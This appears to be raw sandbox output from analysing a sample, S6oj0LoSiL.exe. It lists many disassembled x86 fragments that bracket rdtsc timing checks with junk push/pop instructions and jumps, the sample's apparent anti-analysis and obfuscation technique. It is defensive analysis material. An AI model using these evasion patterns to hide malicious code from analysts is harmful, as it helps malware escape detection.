Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D0F4A second address: 8D0F7E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB65109F886h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnc 00007FB65109F894h 0x00000012 jmp 00007FB65109F88Eh 0x00000017 popad 0x00000018 pushad 0x00000019 jmp 00007FB65109F88Dh 0x0000001e push ecx 0x0000001f push esi 0x00000020 pop esi 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D121C second address: 8D1220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D1220 second address: 8D1244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FB65109F897h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D1244 second address: 8D124A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D178E second address: 8D1792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D1792 second address: 8D1798 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D1798 second address: 8D179E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D179E second address: 8D17A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D17A4 second address: 8D17F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007FB65109F892h 0x0000000e jnp 00007FB65109F886h 0x00000014 jc 00007FB65109F886h 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d jmp 00007FB65109F898h 0x00000022 jg 00007FB65109F888h 0x00000028 pushad 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c push ecx 0x0000002d pop ecx 0x0000002e jmp 00007FB65109F88Eh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D1944 second address: 8D194B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D194B second address: 8D1958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D1958 second address: 8D195C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D195C second address: 8D1962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D1962 second address: 8D1968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D1AE4 second address: 8D1AF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FB65109F886h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D2440 second address: 8D2446 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D8950 second address: 8D8954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D8364 second address: 8D837F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB6510B03A7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D837F second address: 8D838C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8EAC36 second address: 8EAC3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8EAC3C second address: 8EAC4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnc 00007FB65109F886h 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8ECF1D second address: 8ECF22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8ECF22 second address: 8ECF28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8ECF28 second address: 8ECF30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8F18BE second address: 8F18DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB65109F899h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8F18DB second address: 8F18EE instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB6510B0396h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8F18EE second address: 8F1929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB65109F891h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FB65109F899h 0x00000014 jnc 00007FB65109F886h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8FA0C6 second address: 8FA0CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8FA0CA second address: 8FA0D0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 903BF0 second address: 903C03 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB6510B0396h 0x00000008 ja 00007FB6510B0396h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 903C03 second address: 903C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 902666 second address: 902671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB6510B0396h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 902671 second address: 902695 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB65109F88Eh 0x00000008 pushad 0x00000009 jmp 00007FB65109F88Fh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 9027F0 second address: 9027FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB6510B0396h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 9027FF second address: 902803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 902803 second address: 902807 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 90618B second address: 90618F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 90632F second address: 906339 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB6510B0396h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 906339 second address: 90635B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FB65109F8BAh 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007FB65109F892h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 90635B second address: 906365 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB6510B0396h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 906365 second address: 90636F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 908AC3 second address: 908AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 910E68 second address: 910E74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FB65109F886h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 910E74 second address: 910E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 915F87 second address: 915F8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 915F8B second address: 915F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 915F91 second address: 915FAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB65109F893h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 915FAA second address: 915FAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 915FAE second address: 915FB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 9251EE second address: 9251F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 9251F2 second address: 925204 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jng 00007FB65109F886h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 925204 second address: 92520E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB6510B03A2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 92506A second address: 925079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jnl 00007FB65109F886h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 925079 second address: 925081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 925081 second address: 925087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 929EBD second address: 929ED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB6510B03A2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 929ED5 second address: 929EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 pushad 0x00000007 jl 00007FB65109F88Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 929EE4 second address: 929F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FB6510B03A4h 0x0000000a jmp 00007FB6510B03A2h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 929F16 second address: 929F20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FB65109F886h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 93E367 second address: 93E372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 93E372 second address: 93E37C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB65109F886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 93E37C second address: 93E3D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FB6510B0396h 0x00000009 js 00007FB6510B0396h 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007FB6510B03A0h 0x00000016 jmp 00007FB6510B03A0h 0x0000001b pop eax 0x0000001c pop edx 0x0000001d pop eax 0x0000001e pushad 0x0000001f push edx 0x00000020 jng 00007FB6510B0396h 0x00000026 push ebx 0x00000027 pop ebx 0x00000028 pop edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FB6510B03A9h 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 93E3D8 second address: 93E3DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 9414B5 second address: 9414B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 94186D second address: 941895 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB65109F899h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 941895 second address: 94189A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 94189A second address: 941915 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007FB65109F886h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FB65109F888h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 push dword ptr [ebp+122D1E30h] 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007FB65109F888h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 0000001Ah 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 mov edx, 1B58E08Dh 0x0000004e call 00007FB65109F889h 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007FB65109F891h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 941915 second address: 94191B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 94191B second address: 941967 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB65109F88Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FB65109F899h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007FB65109F898h 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 941967 second address: 941971 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB6510B0396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 94453A second address: 944563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB65109F886h 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007FB65109F898h 0x00000011 popad 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49C03C3 second address: 49C03ED instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB6510B039Ch 0x00000008 add ecx, 10B04E18h 0x0000000e jmp 00007FB6510B039Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49C03ED second address: 49C03F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E076F second address: 49E078C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6510B03A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E078C second address: 49E07E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 mov bx, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d jmp 00007FB65109F892h 0x00000012 push eax 0x00000013 pushad 0x00000014 mov ecx, edi 0x00000016 call 00007FB65109F88Dh 0x0000001b mov esi, 62428607h 0x00000020 pop eax 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 jmp 00007FB65109F893h 0x00000028 mov ebp, esp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov bx, 0DA6h 0x00000031 mov bx, 5E32h 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E07E5 second address: 49E0857 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB6510B03A6h 0x00000009 xor esi, 4ABDDB48h 0x0000000f jmp 00007FB6510B039Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FB6510B03A8h 0x0000001b and esi, 61E89DA8h 0x00000021 jmp 00007FB6510B039Bh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a xchg eax, ecx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FB6510B03A5h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0857 second address: 49E085C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E085C second address: 49E0898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FB6510B039Dh 0x0000000a and eax, 619BE076h 0x00000010 jmp 00007FB6510B03A1h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FB6510B039Ch 0x00000021 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E0898 second address: 49E08B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 mov cl, dh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB65109F88Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E08B0 second address: 49E098F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6510B03A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FB6510B039Ch 0x00000011 or cx, 0A58h 0x00000016 jmp 00007FB6510B039Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007FB6510B03A8h 0x00000022 xor ax, 94B8h 0x00000027 jmp 00007FB6510B039Bh 0x0000002c popfd 0x0000002d popad 0x0000002e push eax 0x0000002f jmp 00007FB6510B03A9h 0x00000034 xchg eax, esi 0x00000035 jmp 00007FB6510B039Eh 0x0000003a lea eax, dword ptr [ebp-04h] 0x0000003d pushad 0x0000003e mov dx, cx 0x00000041 pushfd 0x00000042 jmp 00007FB6510B039Ah 0x00000047 adc eax, 3926B978h 0x0000004d jmp 00007FB6510B039Bh 0x00000052 popfd 0x00000053 popad 0x00000054 nop 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 pushfd 0x00000059 jmp 00007FB6510B03A2h 0x0000005e adc ecx, 32BC53D8h 0x00000064 jmp 00007FB6510B039Bh 0x00000069 popfd 0x0000006a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E098F second address: 49E09CC instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007FB65109F895h 0x0000000d or esi, 3FD8AB76h 0x00000013 jmp 00007FB65109F891h 0x00000018 popfd 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E09CC second address: 49E09D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E09D0 second address: 49E09D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 49E09D4 second address: 49E09DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
